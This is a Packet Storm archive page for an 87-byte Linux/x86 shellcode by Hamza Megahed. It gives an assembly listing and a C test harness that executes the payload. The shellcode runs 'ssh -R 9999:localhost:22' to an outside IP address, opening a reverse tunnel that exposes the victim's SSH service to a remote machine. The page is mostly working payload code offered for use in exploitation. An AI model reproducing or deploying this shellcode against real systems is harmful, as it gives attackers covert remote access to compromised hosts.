what you don't know can hurt you

Linux/x86 SSH Remote Port Forwarding Shellcode

Linux/x86 SSH Remote Port Forwarding Shellcode
Posted Feb 22, 2013
Authored by Hamza Megahed

87 bytes small remote SSH port forwarding shellcode for Linux/x86.

tags | remote, x86, shellcode
systems | linux
MD5 | 9a643d98480aec5a4b087a10d8ef812a

Linux/x86 SSH Remote Port Forwarding Shellcode

Change Mirror Download
*****************************************************
* Linux/x86 Remote Port forwarding 87 bytes *
* ssh -R 9999:localhost:22 192.168.0.226 *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************

xor %eax,%eax
push %eax
pushl $0x3632322e
pushl $0x30302e38
pushl $0x36312e32
pushw $0x3931
movl %esp,%esi
push %eax
push $0x32323a74
push $0x736f686c
push $0x61636f6c
push $0x3a393939
pushw $0x3930
movl %esp,%ebp
push %eax
pushw $0x522d
movl %esp,%edi
push %eax
push $0x6873732f
push $0x6e69622f
push $0x7273752f
movl %esp,%ebx
push %eax
push %esi
push %ebp
push %edi
push %ebx
movl %esp,%ecx
mov $0xb,%al
int $0x80

********************************
#include <stdio.h>
#include <string.h>

char *shellcode =
"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36"
"\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68"
"\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68"
"\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75"
"\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close